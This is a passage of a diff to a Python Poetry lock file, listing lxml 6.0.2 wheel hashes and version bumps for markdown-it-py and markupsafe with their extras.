"sha256:3efe1b21c7801ffa29a1112fab3b0f643628c30472d507f39544fd48e9549e34"}, + {file = "lxml-6.0.2-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:59c45e125140b2c4b33920d21d83681940ca29f0b83f8629ea1a2196dc8cfe6a"}, + {file = "lxml-6.0.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:452b899faa64f1805943ec1c0c9ebeaece01a1af83e130b69cdefeda180bb42c"}, + {file = "lxml-6.0.2-cp310-cp310-win32.whl", hash = "sha256:1e786a464c191ca43b133906c6903a7e4d56bef376b75d97ccbb8ec5cf1f0a4b"}, + {file = "lxml-6.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:dacf3c64ef3f7440e3167aa4b49aa9e0fb99e0aa4f9ff03795640bf94531bcb0"}, + {file = "lxml-6.0.2-cp310-cp310-win_arm64.whl", hash = "sha256:45f93e6f75123f88d7f0cfd90f2d05f441b808562bf0bc01070a00f53f5028b5"}, + {file = "lxml-6.0.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:13e35cbc684aadf05d8711a5d1b5857c92e5e580efa9a0d2be197199c8def607"}, + {file = "lxml-6.0.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3b1675e096e17c6fe9c0e8c81434f5736c0739ff9ac6123c87c2d452f48fc938"}, + {file = "lxml-6.0.2-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:8ac6e5811ae2870953390452e3476694196f98d447573234592d30488147404d"}, + {file = "lxml-6.0.2-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5aa0fc67ae19d7a64c3fe725dc9a1bb11f80e01f78289d05c6f62545affec438"}, + {file = "lxml-6.0.2-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:de496365750cc472b4e7902a485d3f152ecf57bd3ba03ddd5578ed8ceb4c5964"}, + {file = "lxml-6.0.2-cp311-cp311-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:200069a593c5e40b8f6fc0d84d86d970ba43138c3e68619ffa234bc9bb806a4d"}, + {file = "lxml-6.0.2-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7d2de809c2ee3b888b59f995625385f74629707c9355e0ff856445cdcae682b7"}, + {file = "lxml-6.0.2-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:b2c3da8d93cf5db60e8858c17684c47d01fee6405e554fb55018dd85fc23b178"}, + {file = "lxml-6.0.2-cp311-cp311-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:442de7530296ef5e188373a1ea5789a46ce90c4847e597856570439621d9c553"}, + {file = "lxml-6.0.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:2593c77efde7bfea7f6389f1ab249b15ed4aa5bc5cb5131faa3b843c429fbedb"}, + {file = "lxml-6.0.2-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:3e3cb08855967a20f553ff32d147e14329b3ae70ced6edc2f282b94afbc74b2a"}, + {file = "lxml-6.0.2-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:2ed6c667fcbb8c19c6791bbf40b7268ef8ddf5a96940ba9404b9f9a304832f6c"}, + {file = "lxml-6.0.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:b8f18914faec94132e5b91e69d76a5c1d7b0c73e2489ea8929c4aaa10b76bbf7"}, + {file = "lxml-6.0.2-cp311-cp311-win32.whl", hash = "sha256:6605c604e6daa9e0d7f0a2137bdc47a2e93b59c60a65466353e37f8272f47c46"}, + {file = "lxml-6.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:e5867f2651016a3afd8dd2c8238baa66f1e2802f44bc17e236f547ace6647078"}, + {file = "lxml-6.0.2-cp311-cp311-win_arm64.whl", hash = "sha256:4197fb2534ee05fd3e7afaab5d8bfd6c2e186f65ea7f9cd6a82809c887bd1285"}, + {file = "lxml-6.0.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:a59f5448ba2ceccd06995c95ea59a7674a10de0810f2ce90c9006f3cbc044456"}, + {file = "lxml-6.0.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:e8113639f3296706fbac34a30813929e29247718e88173ad849f57ca59754924"}, + {file = "lxml-6.0.2-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a8bef9b9825fa8bc816a6e641bb67219489229ebc648be422af695f6e7a4fa7f"}, + {file = "lxml-6.0.2-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:65ea18d710fd14e0186c2f973dc60bb52039a275f82d3c44a0e42b43440ea534"}, + {file = "lxml-6.0.2-cp312-cp312-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c371aa98126a0d4c739ca93ceffa0fd7a5d732e3ac66a46e74339acd4d334564"}, + {file = "lxml-6.0.2-cp312-cp312-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:700efd30c0fa1a3581d80a748157397559396090a51d306ea59a70020223d16f"}, + {file = "lxml-6.0.2-cp312-cp312-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c33e66d44fe60e72397b487ee92e01da0d09ba2d66df8eae42d77b6d06e5eba0"}, + {file = "lxml-6.0.2-cp312-cp312-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:90a345bbeaf9d0587a3aaffb7006aa39ccb6ff0e96a57286c0cb2fd1520ea192"}, + {file = "lxml-6.0.2-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:064fdadaf7a21af3ed1dcaa106b854077fbeada827c18f72aec9346847cd65d0"}, + {file = "lxml-6.0.2-cp312-cp312-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fbc74f42c3525ac4ffa4b89cbdd00057b6196bcefe8bce794abd42d33a018092"}, + {file = "lxml-6.0.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:6ddff43f702905a4e32bc24f3f2e2edfe0f8fde3277d481bffb709a4cced7a1f"}, + {file = "lxml-6.0.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:6da5185951d72e6f5352166e3da7b0dc27aa70bd1090b0eb3f7f7212b53f1bb8"}, + {file = "lxml-6.0.2-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:57a86e1ebb4020a38d295c04fc79603c7899e0df71588043eb218722dabc087f"}, + {file = "lxml-6.0.2-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:2047d8234fe735ab77802ce5f2297e410ff40f5238aec569ad7c8e163d7b19a6"}, + {file = "lxml-6.0.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:6f91fd2b2ea15a6800c8e24418c0775a1694eefc011392da73bc6cef2623b322"}, + {file = "lxml-6.0.2-cp312-cp312-win32.whl", hash = "sha256:3ae2ce7d6fedfb3414a2b6c5e20b249c4c607f72cb8d2bb7cc9c6ec7c6f4e849"}, + {file = "lxml-6.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:72c87e5ee4e58a8354fb9c7c84cbf95a1c8236c127a5d1b7683f04bed8361e1f"}, + {file = "lxml-6.0.2-cp312-cp312-win_arm64.whl", hash = "sha256:61cb10eeb95570153e0c0e554f58df92ecf5109f75eacad4a95baa709e26c3d6"}, + {file = "lxml-6.0.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:9b33d21594afab46f37ae58dfadd06636f154923c4e8a4d754b0127554eb2e77"}, + {file = "lxml-6.0.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:6c8963287d7a4c5c9a432ff487c52e9c5618667179c18a204bdedb27310f022f"}, + {file = "lxml-6.0.2-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:1941354d92699fb5ffe6ed7b32f9649e43c2feb4b97205f75866f7d21aa91452"}, + {file = "lxml-6.0.2-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:bb2f6ca0ae2d983ded09357b84af659c954722bbf04dea98030064996d156048"}, + {file = "lxml-6.0.2-cp313-cp313-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:eb2a12d704f180a902d7fa778c6d71f36ceb7b0d317f34cdc76a5d05aa1dd1df"}, + {file = "lxml-6.0.2-cp313-cp313-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:6ec0e3f745021bfed19c456647f0298d60a24c9ff86d9d051f52b509663feeb1"}, + {file = "lxml-6.0.2-cp313-cp313-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:846ae9a12d54e368933b9759052d6206a9e8b250291109c48e350c1f1f49d916"}, + {file = "lxml-6.0.2-cp313-cp313-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ef9266d2aa545d7374938fb5c484531ef5a2ec7f2d573e62f8ce722c735685fd"}, + {file = "lxml-6.0.2-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:4077b7c79f31755df33b795dc12119cb557a0106bfdab0d2c2d97bd3cf3dffa6"}, + {file = "lxml-6.0.2-cp313-cp313-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a7c5d5e5f1081955358533be077166ee97ed2571d6a66bdba6ec2f609a715d1a"}, + {file = "lxml-6.0.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:8f8d0cbd0674ee89863a523e6994ac25fd5be9c8486acfc3e5ccea679bad2679"}, + {file = "lxml-6.0.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:2cbcbf6d6e924c28f04a43f3b6f6e272312a090f269eff68a2982e13e5d57659"}, + {file = "lxml-6.0.2-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:dfb874cfa53340009af6bdd7e54ebc0d21012a60a4e65d927c2e477112e63484"}, + {file = "lxml-6.0.2-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:fb8dae0b6b8b7f9e96c26fdd8121522ce5de9bb5538010870bd538683d30e9a2"}, + {file = "lxml-6.0.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:358d9adae670b63e95bc59747c72f4dc97c9ec58881d4627fe0120da0f90d314"}, + {file = "lxml-6.0.2-cp313-cp313-win32.whl", hash = "sha256:e8cd2415f372e7e5a789d743d133ae474290a90b9023197fd78f32e2dc6873e2"}, + {file = "lxml-6.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:b30d46379644fbfc3ab81f8f82ae4de55179414651f110a1514f0b1f8f6cb2d7"}, + {file = "lxml-6.0.2-cp313-cp313-win_arm64.whl", hash = "sha256:13dcecc9946dca97b11b7c40d29fba63b55ab4170d3c0cf8c0c164343b9bfdcf"}, + {file = "lxml-6.0.2-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:b0c732aa23de8f8aec23f4b580d1e52905ef468afb4abeafd3fec77042abb6fe"}, + {file = "lxml-6.0.2-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:4468e3b83e10e0317a89a33d28f7aeba1caa4d1a6fd457d115dd4ffe90c5931d"}, + {file = "lxml-6.0.2-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:abd44571493973bad4598a3be7e1d807ed45aa2adaf7ab92ab7c62609569b17d"}, + {file = "lxml-6.0.2-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:370cd78d5855cfbffd57c422851f7d3864e6ae72d0da615fca4dad8c45d375a5"}, + {file = "lxml-6.0.2-cp314-cp314-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:901e3b4219fa04ef766885fb40fa516a71662a4c61b80c94d25336b4934b71c0"}, + {file = "lxml-6.0.2-cp314-cp314-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:a4bf42d2e4cf52c28cc1812d62426b9503cdb0c87a6de81442626aa7d69707ba"}, + {file = "lxml-6.0.2-cp314-cp314-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b2c7fdaa4d7c3d886a42534adec7cfac73860b89b4e5298752f60aa5984641a0"}, + {file = "lxml-6.0.2-cp314-cp314-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:98a5e1660dc7de2200b00d53fa00bcd3c35a3608c305d45a7bbcaf29fa16e83d"}, + {file = "lxml-6.0.2-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:dc051506c30b609238d79eda75ee9cab3e520570ec8219844a72a46020901e37"}, + {file = "lxml-6.0.2-cp314-cp314-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:8799481bbdd212470d17513a54d568f44416db01250f49449647b5ab5b5dccb9"}, + {file = "lxml-6.0.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:9261bb77c2dab42f3ecd9103951aeca2c40277701eb7e912c545c1b16e0e4917"}, + {file = "lxml-6.0.2-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:65ac4a01aba353cfa6d5725b95d7aed6356ddc0a3cd734de00124d285b04b64f"}, + {file = "lxml-6.0.2-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:b22a07cbb82fea98f8a2fd814f3d1811ff9ed76d0fc6abc84eb21527596e7cc8"}, + {file = "lxml-6.0.2-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:d759cdd7f3e055d6bc8d9bec3ad905227b2e4c785dc16c372eb5b5e83123f48a"}, + {file = "lxml-6.0.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:945da35a48d193d27c188037a05fec5492937f66fb1958c24fc761fb9d40d43c"}, + {file = "lxml-6.0.2-cp314-cp314-win32.whl", hash = "sha256:be3aaa60da67e6153eb15715cc2e19091af5dc75faef8b8a585aea372507384b"}, + {file = "lxml-6.0.2-cp314-cp314-win_amd64.whl", hash = "sha256:fa25afbadead523f7001caf0c2382afd272c315a033a7b06336da2637d92d6ed"}, + {file = "lxml-6.0.2-cp314-cp314-win_arm64.whl", hash = "sha256:063eccf89df5b24e361b123e257e437f9e9878f425ee9aae3144c77faf6da6d8"}, + {file = "lxml-6.0.2-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:6162a86d86893d63084faaf4ff937b3daea233e3682fb4474db07395794fa80d"}, + {file = "lxml-6.0.2-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:414aaa94e974e23a3e92e7ca5b97d10c0cf37b6481f50911032c69eeb3991bba"}, + {file = "lxml-6.0.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:48461bd21625458dd01e14e2c38dd0aea69addc3c4f960c30d9f59d7f93be601"}, + {file = "lxml-6.0.2-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:25fcc59afc57d527cfc78a58f40ab4c9b8fd096a9a3f964d2781ffb6eb33f4ed"}, + {file = "lxml-6.0.2-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5179c60288204e6ddde3f774a93350177e08876eaf3ab78aa3a3649d43eb7d37"}, + {file = "lxml-6.0.2-cp314-cp314t-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:967aab75434de148ec80597b75062d8123cadf2943fb4281f385141e18b21338"}, + {file = "lxml-6.0.2-cp314-cp314t-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d100fcc8930d697c6561156c6810ab4a508fb264c8b6779e6e61e2ed5e7558f9"}, + {file = "lxml-6.0.2-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2ca59e7e13e5981175b8b3e4ab84d7da57993eeff53c07764dcebda0d0e64ecd"}, + {file = "lxml-6.0.2-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:957448ac63a42e2e49531b9d6c0fa449a1970dbc32467aaad46f11545be9af1d"}, + {file = "lxml-6.0.2-cp314-cp314t-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b7fc49c37f1786284b12af63152fe1d0990722497e2d5817acfe7a877522f9a9"}, + {file = "lxml-6.0.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e19e0643cc936a22e837f79d01a550678da8377d7d801a14487c10c34ee49c7e"}, + {file = "lxml-6.0.2-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:1db01e5cf14345628e0cbe71067204db658e2fb8e51e7f33631f5f4735fefd8d"}, + {file = "lxml-6.0.2-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:875c6b5ab39ad5291588aed6925fac99d0097af0dd62f33c7b43736043d4a2ec"}, + {file = "lxml-6.0.2-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:cdcbed9ad19da81c480dfd6dd161886db6096083c9938ead313d94b30aadf272"}, + {file = "lxml-6.0.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:80dadc234ebc532e09be1975ff538d154a7fa61ea5031c03d25178855544728f"}, + {file = "lxml-6.0.2-cp314-cp314t-win32.whl", hash = "sha256:da08e7bb297b04e893d91087df19638dc7a6bb858a954b0cc2b9f5053c922312"}, + {file = "lxml-6.0.2-cp314-cp314t-win_amd64.whl", hash = "sha256:252a22982dca42f6155125ac76d3432e548a7625d56f5a273ee78a5057216eca"}, + {file = "lxml-6.0.2-cp314-cp314t-win_arm64.whl", hash = "sha256:bb4c1847b303835d89d785a18801a883436cdfd5dc3d62947f9c49e24f0f5a2c"}, + {file = "lxml-6.0.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:a656ca105115f6b766bba324f23a67914d9c728dafec57638e2b92a9dcd76c62"}, + {file = "lxml-6.0.2-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c54d83a2188a10ebdba573f16bd97135d06c9ef60c3dc495315c7a28c80a263f"}, + {file = "lxml-6.0.2-cp38-cp38-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:1ea99340b3c729beea786f78c38f60f4795622f36e305d9c9be402201efdc3b7"}, + {file = "lxml-6.0.2-cp38-cp38-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:af85529ae8d2a453feee4c780d9406a5e3b17cee0dd75c18bd31adcd584debc3"}, + {file = "lxml-6.0.2-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:fe659f6b5d10fb5a17f00a50eb903eb277a71ee35df4615db573c069bcf967ac"}, + {file = "lxml-6.0.2-cp38-cp38-win32.whl", hash = "sha256:5921d924aa5468c939d95c9814fa9f9b5935a6ff4e679e26aaf2951f74043512"}, + {file = "lxml-6.0.2-cp38-cp38-win_amd64.whl", hash = "sha256:0aa7070978f893954008ab73bb9e3c24a7c56c054e00566a21b553dc18105fca"}, + {file = "lxml-6.0.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:2c8458c2cdd29589a8367c09c8f030f1d202be673f0ca224ec18590b3b9fb694"}, + {file = "lxml-6.0.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:3fee0851639d06276e6b387f1c190eb9d7f06f7f53514e966b26bae46481ec90"}, + {file = "lxml-6.0.2-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b2142a376b40b6736dfc214fd2902409e9e3857eff554fed2d3c60f097e62a62"}, + {file = "lxml-6.0.2-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:a6b5b39cc7e2998f968f05309e666103b53e2edd01df8dc51b90d734c0825444"}, + {file = "lxml-6.0.2-cp39-cp39-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d4aec24d6b72ee457ec665344a29acb2d35937d5192faebe429ea02633151aad"}, + {file = "lxml-6.0.2-cp39-cp39-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:b42f4d86b451c2f9d06ffb4f8bbc776e04df3ba070b9fe2657804b1b40277c48"}, + {file = "lxml-6.0.2-cp39-cp39-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6cdaefac66e8b8f30e37a9b4768a391e1f8a16a7526d5bc77a7928408ef68e93"}, + {file = "lxml-6.0.2-cp39-cp39-manylinux_2_31_armv7l.whl", hash = "sha256:b738f7e648735714bbb82bdfd030203360cfeab7f6e8a34772b3c8c8b820568c"}, + {file = "lxml-6.0.2-cp39-cp39-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:daf42de090d59db025af61ce6bdb2521f0f102ea0e6ea310f13c17610a97da4c"}, + {file = "lxml-6.0.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:66328dabea70b5ba7e53d94aa774b733cf66686535f3bc9250a7aab53a91caaf"}, + {file = "lxml-6.0.2-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:e237b807d68a61fc3b1e845407e27e5eb8ef69bc93fe8505337c1acb4ee300b6"}, + {file = "lxml-6.0.2-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:ac02dc29fd397608f8eb15ac1610ae2f2f0154b03f631e6d724d9e2ad4ee2c84"}, + {file = "lxml-6.0.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:817ef43a0c0b4a77bd166dc9a09a555394105ff3374777ad41f453526e37f9cb"}, + {file = "lxml-6.0.2-cp39-cp39-win32.whl", hash = "sha256:bc532422ff26b304cfb62b328826bd995c96154ffd2bac4544f37dbb95ecaa8f"}, + {file = "lxml-6.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:995e783eb0374c120f528f807443ad5a83a656a8624c467ea73781fc5f8a8304"}, + {file = "lxml-6.0.2-cp39-cp39-win_arm64.whl", hash = "sha256:08b9d5e803c2e4725ae9e8559ee880e5328ed61aa0935244e0515d7d9dbec0aa"}, + {file = "lxml-6.0.2-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:e748d4cf8fef2526bb2a589a417eba0c8674e29ffcb570ce2ceca44f1e567bf6"}, + {file = "lxml-6.0.2-pp310-pypy310_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:4ddb1049fa0579d0cbd00503ad8c58b9ab34d1254c77bc6a5576d96ec7853dba"}, + {file = "lxml-6.0.2-pp310-pypy310_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:cb233f9c95f83707dae461b12b720c1af9c28c2d19208e1be03387222151daf5"}, + {file = "lxml-6.0.2-pp310-pypy310_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bc456d04db0515ce3320d714a1eac7a97774ff0849e7718b492d957da4631dd4"}, + {file = "lxml-6.0.2-pp310-pypy310_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2613e67de13d619fd283d58bda40bff0ee07739f624ffee8b13b631abf33083d"}, + {file = "lxml-6.0.2-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:24a8e756c982c001ca8d59e87c80c4d9dcd4d9b44a4cbeb8d9be4482c514d41d"}, + {file = "lxml-6.0.2-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:1c06035eafa8404b5cf475bb37a9f6088b0aca288d4ccc9d69389750d5543700"}, + {file = "lxml-6.0.2-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:c7d13103045de1bdd6fe5d61802565f1a3537d70cd3abf596aa0af62761921ee"}, + {file = "lxml-6.0.2-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:0a3c150a95fbe5ac91de323aa756219ef9cf7fde5a3f00e2281e30f33fa5fa4f"}, + {file = "lxml-6.0.2-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:60fa43be34f78bebb27812ed90f1925ec99560b0fa1decdb7d12b84d857d31e9"}, + {file = "lxml-6.0.2-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:21c73b476d3cfe836be731225ec3421fa2f048d84f6df6a8e70433dff1376d5a"}, + {file = "lxml-6.0.2-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:27220da5be049e936c3aca06f174e8827ca6445a4353a1995584311487fc4e3e"}, + {file = "lxml-6.0.2.tar.gz", hash = "sha256:cd79f3367bd74b317dda655dc8fcfa304d9eb6e4fb06b7168c5cf27f96e0cd62"}, ] [package.extras] @@ -1279,18 +1395,17 @@ cssselect = ["cssselect (>=0.7)"] html-clean = ["lxml_html_clean"] html5 = ["html5lib"] htmlsoup = ["BeautifulSoup4"] -source = ["Cython (>=3.0.11,<3.1.0)"] [[package]] name = "markdown-it-py" -version = "3.0.0" +version = "4.0.0" description = "Python port of markdown-it. Markdown parsing, done right!" optional = false -python-versions = ">=3.8" +python-versions = ">=3.10" groups = ["main"] files = [ - {file = "markdown-it-py-3.0.0.tar.gz", hash = "sha256:e3f60a94fa066dc52ec76661e37c851cb232d92f9886b15cb560aaada2df8feb"}, - {file = "markdown_it_py-3.0.0-py3-none-any.whl", hash = "sha256:355216845c60bd96232cd8d8c40e8f9765cc86f46880e43a8fd22dc1a1a8cab1"}, + {file = "markdown_it_py-4.0.0-py3-none-any.whl", hash = "sha256:87327c59b172c5011896038353a81343b6754500a08cd7a4973bb48c6d578147"}, + {file = "markdown_it_py-4.0.0.tar.gz", hash = "sha256:cb0a2b4aa34f932c007117b194e945bd74e0ec24133ceb5bac59009cda1cb9f3"}, ] [package.dependencies] @@ -1298,83 +1413,110 @@ mdurl = ">=0.1,<1.0" [package.extras] benchmarking = ["psutil", "pytest", "pytest-benchmark"] -code-style = ["pre-commit (>=3.0,<4.0)"] -compare = ["commonmark (>=0.9,<1.0)", "markdown (>=3.4,<4.0)", "mistletoe (>=1.0,<2.0)", "mistune (>=2.0,<3.0)", "panflute (>=2.3,<3.0)"] +compare = ["commonmark (>=0.9,<1.0)", "markdown (>=3.4,<4.0)", "markdown-it-pyrs", "mistletoe (>=1.0,<2.0)", "mistune (>=3.0,<4.0)", "panflute (>=2.3,<3.0)"] linkify = ["linkify-it-py (>=1,<3)"] -plugins = ["mdit-py-plugins"] +plugins = ["mdit-py-plugins (>=0.5.0)"] profiling = ["gprof2dot"] -rtd = ["jupyter_sphinx", "mdit-py-plugins", "myst-parser", "pyyaml", "sphinx", "sphinx-copybutton", "sphinx-design", "sphinx_book_theme"] -testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions"] +rtd = ["ipykernel", "jupyter_sphinx", "mdit-py-plugins (>=0.5.0)", "myst-parser", "pyyaml", "sphinx", "sphinx-book-theme (>=1.0,<2.0)", "sphinx-copybutton", "sphinx-design"] +testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions", "requests"] [[package]] name = "markupsafe" -version = "3.0.2" +version = "3.0.3" description = "Safely add untrusted strings to HTML/XML markup." optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "MarkupSafe-3.0.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:7e94c425039cde14257288fd61dcfb01963e658efbc0ff54f5306b06054700f8"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9e2d922824181480953426608b81967de705c3cef4d1af983af849d7bd619158"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:38a9ef736c01fccdd6600705b09dc574584b89bea478200c5fbf112a6b0d5579"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bbcb445fa71794da8f178f0f6d66789a28d7319071af7a496d4d507ed566270d"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:57cb5a3cf367aeb1d316576250f65edec5bb3be939e9247ae594b4bcbc317dfb"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3809ede931876f5b2ec92eef964286840ed3540dadf803dd570c3b7e13141a3b"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e07c3764494e3776c602c1e78e298937c3315ccc9043ead7e685b7f2b8d47b3c"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:b424c77b206d63d500bcb69fa55ed8d0e6a3774056bdc4839fc9298a7edca171"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-win32.whl", hash = "sha256:fcabf5ff6eea076f859677f5f0b6b5c1a51e70a376b0579e0eadef8db48c6b50"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:6af100e168aa82a50e186c82875a5893c5597a0c1ccdb0d8b40240b1f28b969a"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:9025b4018f3a1314059769c7bf15441064b2207cb3f065e6ea1e7359cb46db9d"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:93335ca3812df2f366e80509ae119189886b0f3c2b81325d39efdb84a1e2ae93"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash 